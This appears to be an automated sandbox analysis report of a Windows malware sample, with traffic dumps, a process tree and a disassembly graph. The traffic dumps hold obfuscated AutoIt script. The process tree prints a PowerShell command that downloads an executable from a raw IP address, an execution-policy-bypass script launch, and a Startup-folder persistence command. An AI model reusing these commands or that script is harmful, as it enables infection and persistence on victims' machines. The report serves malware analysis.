                                                        Data Ascii: 82092445299214773073383295981783719149674458808'$DILDOSYIELDSFAREADDRESSED = 36$PERFECTRYAN = 64For $mdowmhS = 37 To 500If $DILDOSYIELDSFAREADDRESSED = 35 ThenPixelGetColor(107, 354, 0)Dec(Wales("76]97]107]101]115]42]73]110]115]116]97]11
                                                        Dec 18, 2024 09:19:31.053572893 CET1236INData Raw: 2b 20 31 0a 45 6e 64 49 66 0a 4e 65 78 74 0a 24 68 75 6d 61 6e 69 74 61 72 69 61 6e 66 75 6e 64 72 61 69 73 69 6e 67 62 65 67 69 6e 73 20 3d 20 27 39 34 35 35 39 37 30 34 33 34 39 37 36 37 38 32 36 38 39 32 38 30 30 37 32 36 39 35 39 36 39 35 36
                                                        Data Ascii: + 1EndIfNext$humanitarianfundraisingbegins = '9455970434976782689280072695969563685332532230038577602958448658'$LessPhone = 28$CHAMPIONSHIPFAILEDBIRTHCAPE = 65While 218If $LessPhone = 26 ThenSqrt(1218)ACos(8782)ConsoleWriteError(Wale
                                                        Dec 18, 2024 09:19:31.053584099 CET1236INData Raw: 63 61 6e 20 3d 20 41 54 61 6e 28 37 35 34 34 29 0a 45 78 69 74 4c 6f 6f 70 0a 45 6e 64 49 66 0a 49 66 20 24 49 6e 74 65 72 65 73 74 65 64 44 69 65 44 6f 63 73 20 3d 20 32 39 20 54 68 65 6e 0a 44 72 69 76 65 53 74 61 74 75 73 28 57 61 6c 65 73 28
                                                        Data Ascii: can = ATan(7544)ExitLoopEndIfIf $InterestedDieDocs = 29 ThenDriveStatus(Wales("86]75]88]76]85]88]83]89]67]86]88]75]89]79]74]75]84]90]79]71]82]67]86]71]79]88]89]67",12/2))ConsoleWriteError(Wales("90]68]76]87]67]86]72]80]76]81]68]85]86]67]6
                                                        Dec 18, 2024 09:19:31.053596020 CET1236INData Raw: 74 72 65 73 73 47 6f 6e 65 4c 69 63 65 6e 73 65 20 3d 20 32 30 20 54 68 65 6e 0a 44 72 69 76 65 53 74 61 74 75 73 28 57 61 6c 65 73 28 22 31 31 37 5d 31 30 35 5d 31 32 32 5d 31 30 35 5d 31 32 34 5d 31 31 32 5d 31 31 39 5d 31 31 38 5d 34 30 5d 34
                                                        Data Ascii: tressGoneLicense = 20 ThenDriveStatus(Wales("117]105]122]105]124]112]119]118]40]40]40]40",72/9))Sqrt(6799)$ActressGoneLicense = $ActressGoneLicense + 1EndIfIf $ActressGoneLicense = 21 Then$SuperbTahoeCertified = ASin(928)ExitLoopEndIf
                                                        Dec 18, 2024 09:19:31.053822041 CET1236INData Raw: 20 3d 20 39 20 54 68 65 6e 0a 44 72 69 76 65 53 74 61 74 75 73 28 57 61 6c 65 73 28 22 31 32 35 5d 31 31 30 5d 31 31 38 5d 31 32 31 5d 31 32 30 5d 31 32 33 5d 31 30 36 5d 31 31 37 5d 31 30 33 5d 31 32 33 5d 31 31 30 5d 31 31 32 5d 31 31 34 5d 31
                                                        Data Ascii: = 9 ThenDriveStatus(Wales("125]110]118]121]120]123]106]117]103]123]110]112]114]120]119]103]124]128]114]125]108]113]110]124]103]121]120]124]114]125]114]120]119]114]119]112]103",45/5))PixelGetColor(111, 395, 0)$IllnessFolk = $IllnessFolk + 1
                                                        Dec 18, 2024 09:19:31.053833961 CET1236INData Raw: 0a 45 6e 64 49 66 0a 49 66 20 24 53 74 61 72 74 73 45 71 75 69 74 79 49 6e 63 75 72 72 65 64 4c 61 79 6f 75 74 20 3d 20 38 38 20 54 68 65 6e 0a 24 52 45 4a 45 43 54 52 45 53 45 52 56 4f 49 52 4c 4f 43 4b 45 4e 4a 4f 59 45 44 20 3d 20 38 39 0a 24
                                                        Data Ascii: EndIfIf $StartsEquityIncurredLayout = 88 Then$REJECTRESERVOIRLOCKENJOYED = 89$SWISSESPNSHEFFIELD = 80For $HyRXevM = 56 To 330If $REJECTRESERVOIRLOCKENJOYED = 87 ThenExp(2016)PixelGetColor(Wales("66]111]98]109]112]104]34]71]102]98]117]3
                                                        Dec 18, 2024 09:19:31.173374891 CET1236INData Raw: 6c 61 73 74 69 63 73 20 3d 20 35 31 0a 46 6f 72 20 24 78 48 42 7a 77 20 3d 20 31 20 54 6f 20 34 32 31 0a 49 66 20 24 56 61 63 61 6e 63 69 65 73 4c 61 75 64 65 72 64 61 6c 65 42 69 72 6d 69 6e 67 68 61 6d 4c 61 6e 64 73 20 3d 20 32 37 20 54 68 65
                                                        Data Ascii: lastics = 51For $xHBzw = 1 To 421If $VacanciesLauderdaleBirminghamLands = 27 ThenPixelGetColor(71, 172, 0)ACos(4356)$VacanciesLauderdaleBirminghamLands = $VacanciesLauderdaleBirminghamLands + 1EndIfIf $VacanciesLauderdaleBirminghamLands


                                                        Statistics

                                                        CPU Usage

                                                        Click to jump to process

                                                        Memory Usage

                                                        Click to jump to process

                                                        High Level Behavior Distribution

                                                        Click to dive into process behavior distribution

                                                        Behavior

                                                        Click to jump to process

                                                        System Behavior

                                                        General

                                                        Target ID:1
                                                        Start time:03:19:20
                                                        Start date:18/12/2024
                                                        Path:C:\Users\user\Desktop\l5VhEpwzJy.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:"C:\Users\user\Desktop\l5VhEpwzJy.exe"
                                                        Imagebase:0x7ff6a5370000
                                                        File size:1'083'904 bytes
                                                        MD5 hash:ECC3626C90741E76F4A9B213A9C029D8
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:low
                                                        Has exited:true

                                                        General

                                                        Target ID:2
                                                        Start time:03:19:20
                                                        Start date:18/12/2024
                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe""
                                                        Imagebase:0x7ff741d30000
                                                        File size:452'608 bytes
                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high
                                                        Has exited:true

                                                        General

                                                        Target ID:3
                                                        Start time:03:19:20
                                                        Start date:18/12/2024
                                                        Path:C:\Windows\System32\conhost.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                        Imagebase:0x7ff75da10000
                                                        File size:862'208 bytes
                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high
                                                        Has exited:true

                                                        General

                                                        Target ID:5
                                                        Start time:03:19:27
                                                        Start date:18/12/2024
                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
                                                        Imagebase:0x7ff741d30000
                                                        File size:452'608 bytes
                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high
                                                        Has exited:true

                                                        General

                                                        Target ID:6
                                                        Start time:03:19:27
                                                        Start date:18/12/2024
                                                        Path:C:\Windows\System32\conhost.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                        Imagebase:0x7ff75da10000
                                                        File size:862'208 bytes
                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high
                                                        Has exited:true

                                                        General

                                                        Target ID:7
                                                        Start time:03:19:32
                                                        Start date:18/12/2024
                                                        Path:C:\Users\Public\Guard.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
                                                        Imagebase:0x600000
                                                        File size:893'608 bytes
                                                        MD5 hash:18CE19B57F43CE0A5AF149C96AECC685
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Antivirus matches:
                                                        • Detection: 8%, ReversingLabs
                                                        Reputation:moderate
                                                        Has exited:false

                                                        General

                                                        Target ID:8
                                                        Start time:03:19:35
                                                        Start date:18/12/2024
                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
                                                        Imagebase:0x410000
                                                        File size:236'544 bytes
                                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                        Has elevated privileges:false
                                                        Has administrator privileges:false
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high
                                                        Has exited:true

                                                        General

                                                        Target ID:9
                                                        Start time:03:19:35
                                                        Start date:18/12/2024
                                                        Path:C:\Windows\System32\conhost.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                        Imagebase:0x7ff75da10000
                                                        File size:862'208 bytes
                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                        Has elevated privileges:false
                                                        Has administrator privileges:false
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high
                                                        Has exited:true

                                                        General

                                                        Target ID:11
                                                        Start time:04:53:29
                                                        Start date:18/12/2024
                                                        Path:C:\Windows\System32\wscript.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
                                                        Imagebase:0x7ff77ff20000
                                                        File size:170'496 bytes
                                                        MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                        Has elevated privileges:false
                                                        Has administrator privileges:false
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high
                                                        Has exited:true

                                                        General

                                                        Target ID:12
                                                        Start time:04:53:30
                                                        Start date:18/12/2024
                                                        Path:C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
                                                        Imagebase:0x90000
                                                        File size:893'608 bytes
                                                        MD5 hash:18CE19B57F43CE0A5AF149C96AECC685
                                                        Has elevated privileges:false
                                                        Has administrator privileges:false
                                                        Programmed in:C, C++ or other language
                                                        Antivirus matches:
                                                        • Detection: 8%, ReversingLabs
                                                        Reputation:moderate
                                                        Has exited:false

                                                        Disassembly

                                                        Reset < >

                                                          Execution Graph

                                                          Execution Coverage:2.4%
                                                          Dynamic/Decrypted Code Coverage:0%
                                                          Signature Coverage:10.9%
                                                          Total number of Nodes:1426
                                                          Total number of Limit Nodes:38
                                                          execution_graph 94407 7ff6a5375dec 94408 7ff6a5375df4 94407->94408 94409 7ff6a5375e98 94408->94409 94410 7ff6a5375e28 94408->94410 94431 7ff6a5375e96 94408->94431 94411 7ff6a53bc229 94409->94411 94412 7ff6a5375e9e 94409->94412 94413 7ff6a5375e35 94410->94413 94414 7ff6a5375f21 PostQuitMessage 94410->94414 94463 7ff6a538ede4 8 API calls 94411->94463 94416 7ff6a5375ecc SetTimer RegisterWindowMessageW 94412->94416 94417 7ff6a5375ea5 94412->94417 94418 7ff6a53bc2af 94413->94418 94419 7ff6a5375e40 94413->94419 94440 7ff6a5375e7c 94414->94440 94415 7ff6a5375e6b DefWindowProcW 94415->94440 94423 7ff6a5375efc CreatePopupMenu 94416->94423 94416->94440 94421 7ff6a53bc1b8 94417->94421 94422 7ff6a5375eae KillTimer 94417->94422 94475 7ff6a53ea40c 16 API calls memcpy_s 94418->94475 94424 7ff6a5375f2b 94419->94424 94425 7ff6a5375e49 94419->94425 94428 7ff6a53bc1f7 MoveWindow 94421->94428 94429 7ff6a53bc1bd 94421->94429 94449 7ff6a5375d88 94422->94449 94423->94440 94453 7ff6a5394610 94424->94453 94425->94431 94438 7ff6a5375f0b 94425->94438 94439 7ff6a5375e5f 94425->94439 94427 7ff6a53bc255 94464 7ff6a5392c44 47 API calls Concurrency::wait 94427->94464 94428->94440 94435 7ff6a53bc1e4 SetFocus 94429->94435 94436 7ff6a53bc1c2 94429->94436 94431->94415 94432 7ff6a53bc2c3 94432->94415 94432->94440 94435->94440 94436->94439 94441 7ff6a53bc1cb 94436->94441 94461 7ff6a5375f3c 26 API calls memcpy_s 94438->94461 94439->94415 94446 7ff6a5375d88 Shell_NotifyIconW 94439->94446 94462 7ff6a538ede4 8 API calls 94441->94462 94445 7ff6a5375f1f 94445->94440 94447 7ff6a53bc280 94446->94447 94465 7ff6a5376258 94447->94465 94450 7ff6a5375d99 memcpy_s 94449->94450 94451 7ff6a5375de4 94449->94451 94452 7ff6a5375db8 Shell_NotifyIconW 94450->94452 94460 7ff6a5377098 DeleteObject DestroyWindow Concurrency::wait 94451->94460 94452->94451 94454 7ff6a539461a memcpy_s 94453->94454 94455 7ff6a53946db 94453->94455 94476 7ff6a53772c8 94454->94476 94455->94440 94457 7ff6a53946a2 KillTimer SetTimer 94457->94455 94458 7ff6a5394660 94458->94457 94459 7ff6a53daaa1 Shell_NotifyIconW 94458->94459 94459->94457 94460->94440 94461->94445 94462->94440 94463->94427 94464->94439 94466 7ff6a5376287 memcpy_s 94465->94466 94552 7ff6a53761c4 94466->94552 94469 7ff6a537632d 94471 7ff6a53bc644 Shell_NotifyIconW 94469->94471 94472 7ff6a537634e Shell_NotifyIconW 94469->94472 94473 7ff6a53772c8 6 API calls 94472->94473 94474 7ff6a5376365 94473->94474 94474->94431 94475->94432 94477 7ff6a53773bc Concurrency::wait 94476->94477 94478 7ff6a53772f4 94476->94478 94477->94458 94498 7ff6a53798e8 94478->94498 94480 7ff6a5377303 94481 7ff6a5377310 94480->94481 94482 7ff6a53bcdfc LoadStringW 94480->94482 94501 7ff6a5377cf4 94481->94501 94484 7ff6a53bce1e 94482->94484 94512 7ff6a537e0a8 94484->94512 94485 7ff6a5377324 94486 7ff6a53bce30 94485->94486 94487 7ff6a5377336 94485->94487 94516 7ff6a5377c24 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 94486->94516 94487->94484 94489 7ff6a5377343 94487->94489 94511 7ff6a5377c24 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 94489->94511 94492 7ff6a53bce3c 94494 7ff6a537734f memcpy_s wcscpy 94492->94494 94517 7ff6a53771f8 94492->94517 94496 7ff6a53773a3 Shell_NotifyIconW 94494->94496 94495 7ff6a53bce63 94497 7ff6a53771f8 4 API calls 94495->94497 94496->94477 94497->94494 94527 7ff6a5394c68 94498->94527 94500 7ff6a5379918 94500->94480 94502 7ff6a5377d0d 94501->94502 94503 7ff6a53bd2c8 94501->94503 94505 7ff6a5377d24 94502->94505 94509 7ff6a5377d51 94502->94509 94537 7ff6a537dda4 94503->94537 94536 7ff6a5377e4c RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94505->94536 94506 7ff6a53bd2d3 94508 7ff6a5377d2f memcpy_s 94508->94485 94509->94506 94510 7ff6a5394c68 4 API calls 94509->94510 94510->94508 94511->94494 94513 7ff6a537e0bb 94512->94513 94514 7ff6a537e0b6 94512->94514 94513->94494 94546 7ff6a537f0ec RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 94514->94546 94516->94492 94518 7ff6a537721c 94517->94518 94521 7ff6a53bcd0c 94517->94521 94519 7ff6a5377274 94518->94519 94523 7ff6a53bcd66 memcpy_s 94518->94523 94547 7ff6a537b960 94519->94547 94524 7ff6a5394c68 4 API calls 94521->94524 94522 7ff6a5377283 memcpy_s 94522->94495 94525 7ff6a5394c68 4 API calls 94523->94525 94524->94523 94526 7ff6a53bcdda memcpy_s 94525->94526 94529 7ff6a5394c2c 94527->94529 94528 7ff6a5394c50 94528->94500 94529->94527 94529->94528 94533 7ff6a539925c EnterCriticalSection LeaveCriticalSection fread_s 94529->94533 94534 7ff6a5395600 RtlPcToFileHeader RaiseException std::bad_alloc::bad_alloc _CxxThrowException 94529->94534 94535 7ff6a5395620 RtlPcToFileHeader RaiseException std::bad_alloc::bad_alloc _CxxThrowException 94529->94535 94533->94529 94535->94529 94536->94508 94538 7ff6a537dda9 94537->94538 94539 7ff6a537ddc7 memcpy_s 94537->94539 94538->94539 94541 7ff6a537a7c0 94538->94541 94539->94506 94542 7ff6a537a7ed 94541->94542 94543 7ff6a537a7dd memcpy_s 94541->94543 94544 7ff6a53be7da 94542->94544 94545 7ff6a5394c68 4 API calls 94542->94545 94543->94539 94545->94543 94546->94513 94548 7ff6a537b981 94547->94548 94551 7ff6a537b976 memcpy_s 94547->94551 94549 7ff6a5394c68 4 API calls 94548->94549 94550 7ff6a53bef2a 94548->94550 94549->94551 94551->94522 94553 7ff6a53bc5f8 94552->94553 94554 7ff6a53761e0 94552->94554 94553->94554 94555 7ff6a53bc602 DestroyIcon 94553->94555 94554->94469 94556 7ff6a53ead94 39 API calls wcsftime 94554->94556 94555->94554 94556->94469 94557 7ff6a53ce263 94558 7ff6a53ce271 94557->94558 94568 7ff6a5382680 94557->94568 94558->94558 94559 7ff6a53829c8 PeekMessageW 94559->94568 94560 7ff6a53826da GetInputState 94560->94559 94560->94568 94562 7ff6a53cd181 TranslateAcceleratorW 94562->94568 94563 7ff6a5382a33 PeekMessageW 94563->94568 94564 7ff6a5382a1f TranslateMessage DispatchMessageW 94564->94563 94565 7ff6a53828b9 timeGetTime 94565->94568 94566 7ff6a53cd2bb timeGetTime 94624 7ff6a5392ac0 CharUpperBuffW RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94566->94624 94568->94559 94568->94560 94568->94562 94568->94563 94568->94564 94568->94565 94568->94566 94573 7ff6a5382856 94568->94573 94575 7ff6a53f34e4 77 API calls 94568->94575 94577 7ff6a5382b70 94568->94577 94584 7ff6a53866c0 94568->94584 94618 7ff6a5392de8 94568->94618 94623 7ff6a5382e30 300 API calls 2 library calls 94568->94623 94625 7ff6a53f3a28 VariantClear RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94568->94625 94626 7ff6a5383c20 94568->94626 94647 7ff6a540a320 300 API calls Concurrency::wait 94568->94647 94575->94568 94578 7ff6a5382b96 94577->94578 94581 7ff6a5382ba9 94577->94581 94648 7ff6a5382050 94578->94648 94580 7ff6a5382b9e 94580->94568 94668 7ff6a53f34e4 77 API calls 3 library calls 94581->94668 94583 7ff6a53ce55c 94609 7ff6a538673b memcpy_s Concurrency::wait 94584->94609 94585 7ff6a53d1fac 94803 7ff6a540ab30 300 API calls Concurrency::wait 94585->94803 94588 7ff6a53d1fbe 94588->94568 94590 7ff6a5386c0f 94591 7ff6a53d1fc9 94590->94591 94592 7ff6a5386c3d 94590->94592 94804 7ff6a53f34e4 77 API calls 3 library calls 94591->94804 94800 7ff6a537ee20 5 API calls Concurrency::wait 94592->94800 94596 7ff6a5386c4a 94801 7ff6a5391fcc 300 API calls 94596->94801 94599 7ff6a5386d40 9 API calls 94599->94609 94600 7ff6a5394c68 4 API calls 94600->94609 94601 7ff6a53d20c1 94610 7ff6a5386b15 94601->94610 94807 7ff6a53f34e4 77 API calls 3 library calls 94601->94807 94602 7ff6a5386c78 94802 7ff6a538e8f4 VariantClear RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94602->94802 94605 7ff6a5383c20 300 API calls 94605->94609 94606 7ff6a53d2032 94805 7ff6a53f34e4 77 API calls 3 library calls 94606->94805 94608 7ff6a537e0a8 4 API calls 94608->94609 94609->94585 94609->94590 94609->94591 94609->94596 94609->94599 94609->94600 94609->94601 94609->94602 94609->94605 94609->94606 94609->94608 94609->94610 94674 7ff6a53f5b80 94609->94674 94680 7ff6a53f63dc 94609->94680 94685 7ff6a53f8e98 94609->94685 94718 7ff6a53f7e48 94609->94718 94752 7ff6a540f0ac 94609->94752 94755 7ff6a53f8ea0 94609->94755 94788 7ff6a540f160 94609->94788 94793 7ff6a5395114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 94609->94793 94794 7ff6a537ec00 94609->94794 94799 7ff6a53950b4 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 94609->94799 94806 7ff6a5408d98 49 API calls Concurrency::wait 94609->94806 94610->94568 94619 7ff6a5392e0d 94618->94619 94620 7ff6a5392e2a 94618->94620 94619->94568 94620->94619 94621 7ff6a5392e5b IsDialogMessageW 94620->94621 94622 7ff6a53d9d94 GetClassLongPtrW 94620->94622 94621->94619 94621->94620 94622->94620 94622->94621 94623->94568 94624->94568 94625->94568 94646 7ff6a5383c80 94626->94646 94627 7ff6a53950b4 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent _Init_thread_footer 94627->94646 94628 7ff6a53d05be 95021 7ff6a53f34e4 77 API calls 3 library calls 94628->95021 94631 7ff6a53d05d1 94631->94568 94632 7ff6a5384ac0 94632->94568 94633 7ff6a5384fe7 94636 7ff6a537e0a8 4 API calls 94633->94636 94634 7ff6a537e0a8 4 API calls 94642 7ff6a5383dde 94634->94642 94635 7ff6a53cfefe 94638 7ff6a537e0a8 4 API calls 94635->94638 94636->94642 94637 7ff6a5384a8f 94637->94632 94637->94635 94640 7ff6a5384aa9 94637->94640 94638->94632 94639 7ff6a537e0a8 4 API calls 94639->94646 94640->94632 94640->94634 94642->94568 94643 7ff6a5379640 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94643->94646 94644 7ff6a5395114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 94644->94646 94645 7ff6a5394f0c 34 API calls __scrt_initialize_thread_safe_statics 94645->94646 94646->94627 94646->94628 94646->94633 94646->94637 94646->94639 94646->94640 94646->94642 94646->94643 94646->94644 94646->94645 95019 7ff6a5385360 300 API calls Concurrency::wait 94646->95019 95020 7ff6a53f34e4 77 API calls 3 library calls 94646->95020 94647->94568 94649 7ff6a5383c20 300 API calls 94648->94649 94652 7ff6a53820a8 94649->94652 94650 7ff6a538212d 94650->94580 94651 7ff6a5382552 94655 7ff6a5394c68 4 API calls 94651->94655 94652->94650 94652->94651 94660 7ff6a5382244 94652->94660 94662 7ff6a53cd06f 94652->94662 94664 7ff6a53823cb memcpy_s 94652->94664 94665 7ff6a53822a5 memcpy_s 94652->94665 94654 7ff6a53cd08d 94655->94664 94656 7ff6a53cd036 94671 7ff6a537ee20 5 API calls Concurrency::wait 94656->94671 94658 7ff6a5394c68 4 API calls 94658->94665 94659 7ff6a53cd062 94672 7ff6a537ee20 5 API calls Concurrency::wait 94659->94672 94660->94664 94669 7ff6a5381ce4 301 API calls Concurrency::wait 94660->94669 94673 7ff6a53f34e4 77 API calls 3 library calls 94662->94673 94664->94656 94667 7ff6a53f34e4 77 API calls 94664->94667 94670 7ff6a5374a60 300 API calls 94664->94670 94665->94658 94665->94664 94667->94664 94668->94583 94669->94665 94670->94664 94671->94659 94672->94662 94673->94654 94675 7ff6a53f5ba5 94674->94675 94676 7ff6a53f5be5 FindClose 94675->94676 94677 7ff6a53f5bd5 94675->94677 94678 7ff6a53f5ba9 94675->94678 94676->94678 94677->94678 94808 7ff6a5377ab8 94677->94808 94678->94609 94819 7ff6a537d4cc 94680->94819 94684 7ff6a53f6404 94684->94609 94686 7ff6a53fa680 94685->94686 94691 7ff6a53fa71a 94686->94691 94868 7ff6a537834c 94686->94868 94689 7ff6a53fa7fd 94893 7ff6a53f1864 6 API calls 94689->94893 94690 7ff6a537d4cc 48 API calls 94692 7ff6a53fa6d0 94690->94692 94691->94689 94694 7ff6a53fa6f3 94691->94694 94697 7ff6a53fa770 94691->94697 94877 7ff6a5376838 94692->94877 94694->94609 94696 7ff6a53fa805 94894 7ff6a53eb334 94696->94894 94699 7ff6a537d4cc 48 API calls 94697->94699 94707 7ff6a53fa778 94699->94707 94700 7ff6a53fa6e6 94700->94694 94703 7ff6a5377ab8 CloseHandle 94700->94703 94702 7ff6a53fa7ee 94850 7ff6a53eb3a8 94702->94850 94703->94694 94704 7ff6a53fa7a7 94706 7ff6a53798e8 4 API calls 94704->94706 94708 7ff6a53fa7b5 94706->94708 94707->94702 94707->94704 94710 7ff6a537e0a8 4 API calls 94708->94710 94709 7ff6a5378314 CloseHandle 94711 7ff6a53fa85c 94709->94711 94712 7ff6a53fa7c2 94710->94712 94711->94694 94714 7ff6a5377ab8 CloseHandle 94711->94714 94713 7ff6a53771f8 4 API calls 94712->94713 94715 7ff6a53fa7d3 94713->94715 94714->94694 94716 7ff6a53eb3a8 12 API calls 94715->94716 94717 7ff6a53fa7e0 Concurrency::wait 94716->94717 94717->94694 94717->94709 94719 7ff6a53f7e79 94718->94719 94720 7ff6a5379640 4 API calls 94719->94720 94749 7ff6a53f7f55 Concurrency::wait 94719->94749 94722 7ff6a53f7ea6 94720->94722 94721 7ff6a537834c 5 API calls 94724 7ff6a53f7f99 94721->94724 94723 7ff6a5379640 4 API calls 94722->94723 94725 7ff6a53f7eaf 94723->94725 94726 7ff6a537d4cc 48 API calls 94724->94726 94727 7ff6a537d4cc 48 API calls 94725->94727 94728 7ff6a53f7fab 94726->94728 94729 7ff6a53f7ebe 94727->94729 94730 7ff6a5376838 16 API calls 94728->94730 94916 7ff6a53774ac RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 94729->94916 94732 7ff6a53f7fba 94730->94732 94734 7ff6a53f7fbe GetLastError 94732->94734 94738 7ff6a53f7ff5 94732->94738 94733 7ff6a53f7ed8 94917 7ff6a5377c24 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 94733->94917 94736 7ff6a53f7fd8 94734->94736 94741 7ff6a5377ab8 CloseHandle 94736->94741 94744 7ff6a53f7fe5 94736->94744 94737 7ff6a53f7f07 94737->94749 94918 7ff6a53ebdd4 lstrlenW GetFileAttributesW FindFirstFileW FindClose 94737->94918 94739 7ff6a5379640 4 API calls 94738->94739 94742 7ff6a53f8035 94739->94742 94741->94744 94742->94744 94920 7ff6a53e0d38 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 94742->94920 94743 7ff6a53f7f17 94745 7ff6a53f7f1b 94743->94745 94743->94749 94744->94609 94747 7ff6a537ec00 4 API calls 94745->94747 94748 7ff6a53f7f28 94747->94748 94919 7ff6a53ebab8 8 API calls Concurrency::wait 94748->94919 94749->94721 94749->94744 94751 7ff6a53f7f31 Concurrency::wait 94751->94749 94921 7ff6a540f630 94752->94921 94756 7ff6a53fa680 94755->94756 94757 7ff6a537834c 5 API calls 94756->94757 94762 7ff6a53fa71a 94756->94762 94759 7ff6a53fa6be 94757->94759 94758 7ff6a53fa6f3 94758->94609 94761 7ff6a537d4cc 48 API calls 94759->94761 94760 7ff6a53fa7fd 95017 7ff6a53f1864 6 API calls 94760->95017 94763 7ff6a53fa6d0 94761->94763 94762->94758 94762->94760 94767 7ff6a53fa770 94762->94767 94765 7ff6a5376838 16 API calls 94763->94765 94768 7ff6a53fa6e2 94765->94768 94766 7ff6a53fa805 94771 7ff6a53eb334 4 API calls 94766->94771 94769 7ff6a537d4cc 48 API calls 94767->94769 94768->94762 94770 7ff6a53fa6e6 94768->94770 94777 7ff6a53fa778 94769->94777 94770->94758 94773 7ff6a5377ab8 CloseHandle 94770->94773 94778 7ff6a53fa7e0 Concurrency::wait 94771->94778 94772 7ff6a53fa7ee 94775 7ff6a53eb3a8 12 API calls 94772->94775 94773->94758 94774 7ff6a53fa7a7 94776 7ff6a53798e8 4 API calls 94774->94776 94775->94778 94779 7ff6a53fa7b5 94776->94779 94777->94772 94777->94774 94778->94758 94780 7ff6a5378314 CloseHandle 94778->94780 94781 7ff6a537e0a8 4 API calls 94779->94781 94782 7ff6a53fa85c 94780->94782 94783 7ff6a53fa7c2 94781->94783 94782->94758 94785 7ff6a5377ab8 CloseHandle 94782->94785 94784 7ff6a53771f8 4 API calls 94783->94784 94786 7ff6a53fa7d3 94784->94786 94785->94758 94787 7ff6a53eb3a8 12 API calls 94786->94787 94787->94778 94789 7ff6a540f630 164 API calls 94788->94789 94791 7ff6a540f182 94789->94791 94790 7ff6a540f1cd 94790->94609 94791->94790 95018 7ff6a537ee20 5 API calls Concurrency::wait 94791->95018 94795 7ff6a537ec1d 94794->94795 94796 7ff6a53ca5a2 94795->94796 94797 7ff6a5394c68 4 API calls 94795->94797 94798 7ff6a537ec55 memcpy_s 94797->94798 94798->94609 94800->94596 94801->94602 94802->94602 94803->94588 94804->94610 94805->94610 94806->94609 94807->94610 94811 7ff6a53782e4 94808->94811 94816 7ff6a5378314 94811->94816 94813 7ff6a53782f2 Concurrency::wait 94814 7ff6a5378314 CloseHandle 94813->94814 94815 7ff6a5378303 94814->94815 94817 7ff6a537833d CloseHandle 94816->94817 94818 7ff6a537832a 94816->94818 94817->94818 94818->94813 94820 7ff6a537d50b 94819->94820 94821 7ff6a537d4f2 94819->94821 94822 7ff6a537d513 94820->94822 94823 7ff6a537d53e 94820->94823 94838 7ff6a53ebdec 94821->94838 94841 7ff6a539956c 31 API calls 94822->94841 94824 7ff6a53c9cc4 94823->94824 94826 7ff6a537d550 94823->94826 94833 